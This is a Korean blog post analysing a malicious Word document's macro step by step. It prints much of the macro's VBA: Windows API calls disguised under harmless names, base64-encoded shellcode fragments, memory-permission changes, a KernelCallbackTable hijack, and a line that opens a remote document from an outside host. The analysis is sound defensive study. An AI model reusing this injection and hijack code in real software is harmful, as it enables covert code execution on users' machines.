우선 저번엔 이 악성코드를 VirusTotal에 올려서 해시값 등 악성 파일의 완전 겉 핥기 정도의 내용을 알아봤다면, 이번엔 자세히 알아보자.
olevba?
우선 들어서기 앞서 사용할 도구는 olevba이다. 이 도구는 워드나 엑셀같은 문서형 악성코드를 분석 할 때 매크로 분석 및 추출하는 도구이다.
사용법은 매우 간단하다.
olevba (파일경로) > output.txt
위와 같이 명령어를 쳐주면 매크로 분석한 결과가 텍스트 파일로 저장된다.
이제 위에서 소개한 명령어로 매크로 결과를 확인해보면 다음과같은 내용을 확인할 수 있다.
우선 가장 먼저 AutoExec가 보이는데 이는 문서가 열릴 때 자동으로 실행되는 매크로이다.
두번째부턴 Suspicious로 Type의 이름부터 벌써 의심스럽다는 것을 확인할 수 있었다. 간단히 표로 정리하면 다음과 같다.
Keyword | Description |
Open | - 파일 혹은 리소스를 열 수 있는 VBA 코드가 포함되어 있다. |
Lip | - DLL을 호출하여 외부 라이브러리를 실행하는 코드가 포함되어 있다. |
VitualPeotect | - 메모리 권한을 조작하는 함수로, 코드 삽입 또는 쉘코드 실행에 사용될 가능성이 높다. |
.Variables | - word문서의 문서변수를 사용해 데이터를 숨기거나 저장할 수 있다. // 악성 페이로드 은닉 가능성이 있다. |
cHR | - 문자열을 난독화하여 숨기려는 시도가 있다. |
Hex String | - 코드 내에16진수로 인코딩된 문자열이 있다 |
Base64 String | - Base64로 인코딩된 문자열이 있다. |
이렇게 간단히 이 문서에서 어떤 행동이 일어나는지 대략 파악할 수 있었다.
docx 매크로 분석
위에서 간단히 파악한 내용을 docx의 매크로 분석 기능을 이용해서 자세하게 알아보자.
우선 파일의 확장자를 docx에서 doc로 바꿔주었다. docx인 상태로는 다음과 같이 파일 형식이 확장명과 다르다며 오류가 떴기 때문이다.
여기서 끝이 아니고 매크로를 확인하려면 보안 차단을 해제해야하기에 다음 절차를 따라 차단을 해제해줬다.
악성 파일의 속성 -> 일반 -> 차단 해제에 체크표시
여기까지 하고오면 이제 워드 파일이 정상적으로 열릴 것이다.
이제 열어보면 위 사진처럼 뜬다. "To view or edit this document, Plese click "Enable Content"button on the top yellow bar"라고 악성 매크로를 실행하기 위해 콘텐츠 사용을 유도하는 문구를 확인할 수 있다.
이제 매크로를 보기 위해 콘텐츠 사용 버튼은 누르지 않은 채 개발 도구 탭에서 Visual Basic 버튼을 눌러주면 된다.
그러면 성공적으로 매크로를 확인할 수 있게 된다!
이제 본격적으로 정적 분석에 들어가보면, 우선 처음에는 사용할 함수들의 이름을 다른 이름으로 바꾸어 선언해주고 있는 모습을 볼 수 있었다.
1. WinAPI (CryptStringToBinaryW)
Private Declare PtrSafe Function WMCreateBackupRestorer Lib "Crypt32" _
Alias "CryptStringToBinaryW" (ByVal WmBckupParam1 As LongPtr, ByVal WmBckupParam2 As Long, ByVal WmBckupParam3 As LongPtr, ByVal WmBckupParam4 As LongPtr, ByVal WmBckupParam5 As LongPtr, ByVal WmBckupParam6 As LongPtr, ByVal WmBckupParam7 As LongPtr) As Long
Private Const Play_Encd = &H4
Private Const Play_Decd_Rdh = &H20
Private Const Play_Encd_Dcd = &H40
Private Const WM_CERTSYNCREAD = &H1
해당 구문은 'CryptStringToBinaryW API'를 'WMCreateBackupRestorer'라는 이름으로 위장하여 선언하고 있다.
2. WinAPI (LoadLibratyA)
#If Win64 Then
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As LongLong
#Else
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As Long
#End If
이번에는 'LoadLibratyA API'를 'LoadPlaybackHD'라는 이름으로 위장하여 선언해준다.
3. WinAPI (GetProcAddress)
#If Win64 Then
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
Alias "GetProcAddress" (ByVal WMvdsptParam1 As LongLong, ByVal WMvdsptParam2 As String) As LongPtr
#Else
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
Alias "GetProcAddress" (ByVal WMvdsptParam1 As Long, ByVal WMvdsptParam2 As String) As LongPtr
#End If
'GetProcAddress API'를 'WMvdspt'라는 이름으로 선언하고 있다.
4. WinAPI (VirtualProtect, memcpy)
#If Win64 Then
Private Declare PtrSafe Function WMVSDecd Lib "kernel32" _
Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As LongLong, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
Private Declare PtrSafe Sub WMVdspa Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As LongLong)
#Else
Private Declare PtrSafe Function WMVSDecd Lib "kernel32" _
Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As Long, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
Private Declare PtrSafe Sub WMVdspa Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As Long)
#End If
'VirtualProtect'와 'memcpy'의 API를 'WMVDecd', 'WMVdspa'라는 이름으로 선언하고 있다.
5. WinAPI (NtQueryInformationProcess)
Private Type WMSCRINFO
WmScrData1 As LongPtr
WmScrData2 As LongPtr
WmScrData3 As LongPtr
WmScrMeta1 As LongPtr
WmScrMeta2 As LongPtr
WmScrMeta3 As LongPtr
End Type
Private Declare PtrSafe Function WmScrEncd Lib "ntdll" Alias "NtQueryInformationProcess" ( _
ByVal StreamEncdIn1 As LongPtr, _
ByVal StreamEncdIn2 As Long, _
ByRef StreamEncdIn3 As WMSCRINFO, _
ByVal StreamEncdIn4 As Long, _
ByRef StreamEncdIn5 As Long _
) As Integer
'NtQueryInformationProcess API'를 'WmScrEncd'라는 이름으로 선언함으로 위장했다. 후에 사용하게 될 구조체와 구조체 멤버 또한 WMSCRINFO라는 이름등으로 선언해준 모습을 볼 수 있다.
6. WMVCORE.DLL 로드
On Error Resume Next
WMPlaybackHD = LoadPlaybackHD("WMVCORE.DLL")
Dim wmorder2 As Long
Dim wmorder As Long
Dim WMVSDecpro As Long
이 전에 LoadPlaybackHD로 위장한 LoadLibratyA API를 통해서 WMVCORE.DLL을 로드해준다.
7. 운영체제 환경 확인 및 자료형과 변수 분기
#If Win64 Then
WMPlaybackRadd = 8
wmorder2 = &H58
wmorder = &H10
WMVSDecpro = Play_Encd
#Else
WMPlaybackRadd = 4
wmorder2 = &H2C
wmorder = &H8
WMVSDecpro = Play_Encd_Dcd
#End If
스크립트가 동작하는 운영체제 환경 확인한다. 64bit 환경에선 LongLong타입, 32bit 타입에서는 Long타입으로 변수를 선언하여 시스템 호환성을 확보한다.
본 환경은 64bit환경이기에 다음과같은 변수 및 자료형이 정의된다.
변수 / 자료형 | VBA 상수 | 정수 |
WMPlaybackRadd | x | 8 |
wmorder2 | &H58 | 88 |
wmorder | &H10 | 16 |
WMVSecpro | Play_Encd (&H4) | 4 |
8. 변수 선언
Dim WmEmptyData As LongPtr
Dim Ret As Long
Dim WMCreateFileSink As LongPtr
Dim WMModifyFSink As LongPtr
Dim capa As Long
Dim wsi As WMSCRINFO
Dim wmsct As LongPtr
Dim wmflash As LongPtr
Dim wmWnd As LongPtr
각각 변수들을 선언하고 있음
9. PEB 획득 및 KernelCallBackTable 조작을 통한 WinAPI 하이재킹
WMPlaybackSC = 0
If WMIsAvailableOffline() = False Then
WMCreateFileSink = WMvdspt(WMPlaybackHD, "WMIsAvailableOffline")
Result = WmScrEncd(-1, 0, wsi, Len(wsi), capa)
WMVdspa wmsct, ByVal (wsi.WmScrData2 + wmorder2), WMPlaybackRadd
Ret = WMVSDecd(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)
wmflash = wmsct + wmorder
Ret = WMVSDecd(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)
WMModifyFSink = WMCreateFileSink
WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
WMVdspa ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd
Ret = WMVSDecd(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)
WMVdspa ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd
If ThisDocument.ReadOnly = False Then
WMCreateIndexer
ThisDocument.Save
End If
End If
해당 코드는 제어 흐름을 하이재킹하고 악성코드를 실행하기 위해 매우 특이한 방법을 사용한다.
wmvcore.dll (WMPlaybackHD로 위장)에서 WMIsAvailableOffline함수의 주소를 검색한 다음에 WMIsAvailableOffline에 코드에 대한 메모리 보호 권한을 변경하고 메모리의 코드를 base64로 디코딩된 쉘코드로 덮어씌운다.
그리고 여기서 또 하나 더 주목해야 할 내용은 PEB의 KernelCallbackTable을 통한 하이재킹이다. NtQueryInformationProcess에 대한 호출은 ProcessBasicInfomation을 매개변수로 악성코드가 PEB의 주소를 검색하고 KernelCallbackTable 포인터를 검색하는 데 도움이 된다.
KernelCallbackTable은 user32.dll이 메모리에 로드될 때 콜백함수 배열로 초기화되고, 이는 그래픽 호출이 이뤄질 때 마다 사용된다. 제어흐름을 하이재킹하기위해 악성코드는 테이블의 USER32!_fnDWORD 콜백을 악성 WMIsAvailableOffline함수로 대체한다. 흐름이 하이재킹되고 악성코드가 실행되면 코드는 KernelCallbackTable을 원 형태로 되돌린다.
더 나아가기 전에 하이재킹이란 무엇인가를 이야기 해보자면 다음과 같다.
* 하이재킹(Hijacking)?
- 미국 서부시대때 강도들이 강제로 마차를 세워 마부에서 '하이 잭'이라 말했던 것에서 유례된 것으로, 현재는 항공기 납치의 의미로 사용된다 그러나 우리가 알아야하는 사이버에서의 하이재킹은 원래의 기능이나 흐름을 가로채어 공격자의 의도대로 조작하는 기법, 보안에서 이는 시스템, 네트워크, 메모리의 정상 동작 방해 및 변경으로 악성 행위를 수행하는 것을 의미한다.
10. KernelCallBackTable 제어 흐름 변조 및 악성 WMIsAvailableOffline API 삽입 - 1
아래 코드는 아까 9번에서 다룬 코드다. 한번 더 이 코드를 가져온 이유는 이번에 다루는 코드에서 가장 먼저 실행하는 메서드가 WMCheckURLScheme1 메서드이기 때문이다. 이 때 정상적인 WMIsAvailableOffline API의 주소가 사용된다.
WMModifyFSink = WMCreateFileSink
WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
Private Function WMCheckURLScheme1(WMCreateFileSink As LongPtr) As LongPtr
#If Win64 Then
Dim MediaSection(2800) As String
MediaSection(1) = "6w5fSIsfSIPvFUgD+//nw+jt////1AAAAAAAAADrAljD6Pn///9JbEhEWFBKK2xnYk5xUzFHUWUqMDVBZjV4R3VTTzVLSDZI"
MediaSection(2) = "ZG5zckdEVUEqTlRCYVdxeHR3Y3BnWGVLZFVERno0cTJwV0NNS1Izcit4U3g3djBKcW1PSlcxWVNtZFRjZW5TQlJWa3dxQU9x"
MediaSection(3) = "ZSt6RlNoUDBGYXBET3pXOXNuVG1kZjRKT01XKipkQkc2R3FheFFpOVc0dWVzb3BYNHgwM0Q5VjdZR3ZOc20qMDBBM8xIiVwk"
MediaSection(4) = "CEiJfCQQVUiNbCSpSIHssAAAALsItwEAuno0AACLy+hEAgAAusQ0AABIiUXni8voNAIAALr87wAASIlF74vL6CQCAAC6LEdw"
MediaSection(5) = "AEiJRfeLy+gUAgAAuiznwwFIiUUHi8voBAIAALuITg0ASIlF/4vLuoZXDQDo7wEAALr6izQASIlFz4vL6N8BAAC6QjEOAEiJ"
MediaSection(6) = "RdeLy+jPAQAAujzROABIiUUfi8vovwEAALqOGAcASIlFN4vL6K8BAAC61EANAEiJRS+Ly+ifAQAAuqySNABIiUUXi8vojwEA"
MediaSection(7) = "ALpCjAYASIlFD4vL6H8BAAC6DkYDAEiJRT+Ly+hvAQAASIv46NMMAABIiUXfSIvYSIXAdBFIi9BIjU3H6BMHAABIi8v/10yN"
MediaSection(8) = "nCSwAAAASYtbEEmLexhJi+Ndw8zMzMzMzMzMzIoBRTPAhMB0G0xjyg+2wEkDyYPIYEEDwESLwIoBRQPAhMB16EGLwMPMzMzM"
MediaSection(9) = "zMzMzDPAOAF0Ckj/wf/AgDkAdfbDzMzMzMzMzEiLxEiJWAhIiXAQSIl4GEyJYCBBVkFXRTPJTIviTCvhTIv5SfffTYvwSIva"
MediaSection(10) = "SIvxRYvZQYv5TIvRQYvJSIvGRDgOdApI/8D/wUQ4CHX2O/l9akGKCo1BvzwZdgqNQZ9Bi9E8GXcFugEAAACNQdBFi8E8CUEP"
.
.
.
WMCheckURLSchema1 메서드 내에는 Base64로 인코딩되고 암호화된 바이너리가 위치해있는데 해당 바이너리를 통해 악성작업이 수행된다.
MediaSection(2800) = "9GeMQzrlAQNkwyQGD4QcZj0P5YpsXv3xAcAEJzWRKXANH2ZEzV/vCeORKXm2Qn/aKtGJOrjCmxqmojqAHbEw/zK9cOx6Bu9T"
#Else
#End If
Dim NullPtr As LongPtr
Dim NullLong As Long
Dim MediaSectionLen As Long
For idx = 1 To UBound(MediaSection)
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, 0, VarPtr(MediaSectionLen), 0, 0) Then
If MediaSectionLen Then
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, WMCreateFileSink, VarPtr(MediaSectionLen), 0, 0) Then
WMCreateFileSink = WMCreateFileSink + MediaSectionLen
전에 인코딩된 Base64 쉘코드를 디코딩한 수 CryptoStringToBinaryW API를 호출하여 복호화를 수행한다. 이 후 복호화된 쉘코드는 다음 메서드인 WMCheckURLSchema2의 인자로 사용된다.
11. KernelCallBackTable 제어 흐름 변조 및 악성 WMIsAvailableOffline API 삽입 - 2
WMModifyFSink = WMCreateFileSink
WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
Private Function WMCheckURLScheme2(WMCreateFileSink As LongPtr) As LongPtr
#If Win64 Then
Dim MediaSection(2800) As String
MediaSection(1) = "tSVqciAgTq+8D4lADFKJ5PTRARE6OXU5TeMGOsi8uL/qNZ5KjeJPRrEyPJyajQd/ZI7pURO5Lrmyq8dp8JaUZBctIEckGJal"
MediaSection(2) = "WauSjSLn4XyVeImTxXuKuuKabVFi46YSzLEVH4vNtiRwLXLnZ2O108o1AHRoufMlL6gXARPbw36Lhn4p1p5SYkrpT2OKEipL"
MediaSection(3) = "MJLPSRYX+tmMn0U2KturfmzNWCiBM4xG9k0umU0iTTqpmbog7//tkTXRPYEA+RF4Jlw7NjEBFIIiqszi3eghSkv+GQ2BMTn2"
MediaSection(4) = "y7LNk0iYwaYJG127s+3tSsjXcXyAz5fMO62bBiaZAMZHGM09ZVZR/dPakLc2Xs6K/bAZFz+r1ypk0OJXZJ2CRfWtrTwyq7sb"
MediaSection(5) = "YjvzCl84kONEVNU1eQwhjsB1T6jJ2zbUibyOeCEVMaT+iP+nBjUApGKiLL7CHg/z04nRb15rggt9hD6jOQBm4jmNK3l9lbSv"
MediaSection(6) = "xI4XrLhMWoco91mYb8V9qnWHpm5hVqEN7n3pPwpkwDSbHi/Vl0nZiFhDbr//l/GzZBd3Uv2VMC7ll+YWvhZWDfwXGpyplbPF"
MediaSection(7) = "/0Hhje+6Ac9HVM5suxGvwvZt8YtdJuDW31ALYpWrYMpLaw3kU1x0h5WZ7Lw1Ae8/EPA06LpD6rth2w5QGb25jLypg0CfSbY8"
MediaSection(8) = "azOjr4jKI6tHWuUIOgXh9hYlsHq0fbzGpotDVTs7mcre3AB3yei2fmRiRJqUZs8YoVkk/4d6g9TZG+ThKpK1ipp0nEe9CGNb"
MediaSection(9) = "A/jhclvjh7LBStT8AdGnJ7jmsdkAy7AWY/SPcmXqd1C2AldtJzTRkgsG83idma3Ol6bvB1LfIe+8y3XBW3dwFmZsYM3Jq7q/"
MediaSection(10) = "/4aec7G0/+uApWaRubcgTOWV+fb8Lknai0PqR8CqywHcuv8cczvPKTvsU71AGfwxEMh8tggWRsgjSdFcLEje3W6tm0nCgMzO"
.
.
.
이 전에 1차로 디코딩 및 복호화 된 쉘코드는 WMCheckURLSchema2의 인자로 사용되는데 위 코드를 보낸 WMCheckURLSchema2 메서드의 내부에서도 인코딩 된 쉘코드를 확인 가능하다.
For idx = 1 To UBound(MediaSection)
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, 0, VarPtr(MediaSectionLen), 0, 0) Then
If MediaSectionLen Then
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, WMCreateFileSink, VarPtr(MediaSectionLen), 0, 0) Then
WMCreateFileSink = WMCreateFileSink + MediaSectionLen
End If
End If
End If
Next idx
WMCheckURLScheme2 = WMCreateFileSink
End Function
WMCheckURLSchema1에서 디코딩 및 복호화 된 쉘코드와 WMCheckURLSchema2에서 디코딩 및 복호화 된 쉘코드를 함께 사용하여 일련의 복호화 과정을 수행한다.
12. KernelCallBackTable 제어 흐름 변조 및 악성 WMIsAvailableOffline API 삽입 - 3
WMModifyFSink = WMCreateFileSink
WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
Private Function WMCheckURLScheme3(WMCreateFileSink As LongPtr) As LongPtr
#If Win64 Then
Dim MediaSection(2747) As String
MediaSection(1) = "rZOPi+vJpI5sdqoDB6eT4T5WVcxI6sl0D/+aqjJw+hPtHxA6BOweAghEnm3OvFJIvrftM7kFOyHyYPxCQ6LeQyGM2aJvPwRn"
MediaSection(2) = "PAJJWEdvn0ol9ysRAIIbxTD+h5qg3da/3UmP5gVLYRBhQg1xl1b629qibO/XISeli3WVWV7p/DEb+IUAVO226xQzOpvoYa/y"
MediaSection(3) = "nrv2ACUshZY1pgPAXK/dhiG4xgBKrrXegyaeSWdlIvPkhiSFAAXqwLKqfYhCKHLjVjGFARs+7hxQ1k378pDo/t3/T4UE1vxl"
MediaSection(4) = "gO5JCETFtqbpZ0cjhApu7oHYqzYsKvYjZaiNiReYIMWvKJ+D1wCLVw1vETPSYz1cSgrHU4TX81+qKrslsJH8dZWxLc7lt9J0"
MediaSection(5) = "jfNeGrUbu4U7J+zDHkSA+fjd6JdZabhP/nJxadv4KWMmBFZIjV3cBgx5+Pk0gLyN8KkAT0juZKMKoQxnTycl4y6FVAOEiVwn"
MediaSection(6) = "xRaJYMs9zWbKhNRMOU71ikE95yQ4yjKYDsd214NF7At3yHdkEeJMj3nDXQjcq+BNGtmMNixaBt9qixa1dhFXLrXn/B0xWM4s"
MediaSection(7) = "MdplrKElvbvDR3iiysg7Vu4z2KIK+z0HybAIPNv/3wx/oJ8ow6cQHl3sq/88cRXC5KENSLCHDbnoiqAgOOON/V0WKWlpkGus"
.
.
.
WMCheckURLSchema3에는 WMCheckURLSchema1과 WMCheckURLSchema2를 거친 복호화 된 쉘코드가 인자로 들어간다 또한 WMCheckURLSchema3에도 복호화된 쉘코드가 존재한다.
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, 0, VarPtr(MediaSectionLen), 0, 0) Then
If MediaSectionLen Then
If WMCreateBackupRestorer(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, WMCreateFileSink, VarPtr(MediaSectionLen), 0, 0) Then
WMCreateFileSink = WMCreateFileSink + MediaSectionLen
End If
End If
End If
Next idx
WMCheckURLScheme3 = WMCreateFileSink
End Function
WMCheckURLSchema3 내부엔 WMCheckURLSchema1과 WMCheckURLSchema2를 거친 쉘코드와 WMCheckURLSchema3의 쉘코드가 일련의 복호화 과정을 수행한다.
13. KernelCallBackTable 내 악성 WMIsAvailableOffline API 삽입 및 메모리 속성 변경
WMVdspa ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd
Ret = WMVSDecd(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)
WMVdspa ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd
If ThisDocument.ReadOnly = False Then
WMCreateIndexer
ThisDocument.Save
End If
End If
Application.Documents.Open ("https://lm-career.com/careeroppr.docx")
If ActiveDocument <> ThisDocument Then
ThisDocument.Close
End If
마지막으로 이전의 복호화를 한 악성 쉘코드를 WMIsAvailableOffline API에 삽입하고 해당 SPI주소를 KernelCallBackTable 내에 삽입한다. 이를 통해서 KernelCallBackTable이 사용될 때마다 악성 쉘코드는 WMIsAvailableOffline API 호출과 함께 동작하게된다.
'Study > REV' 카테고리의 다른 글
[Malware_#4] About Reflective DLL Injection (0) | 2024.11.22 |
---|---|
[Malware_#3] 초기 분석 (With. VirusTotal) (0) | 2024.11.19 |
[Malware_#2] About Malware (0) | 2024.11.05 |
[Malware_#1] VMware Windows 10 가상환경 구축 (1) | 2024.11.04 |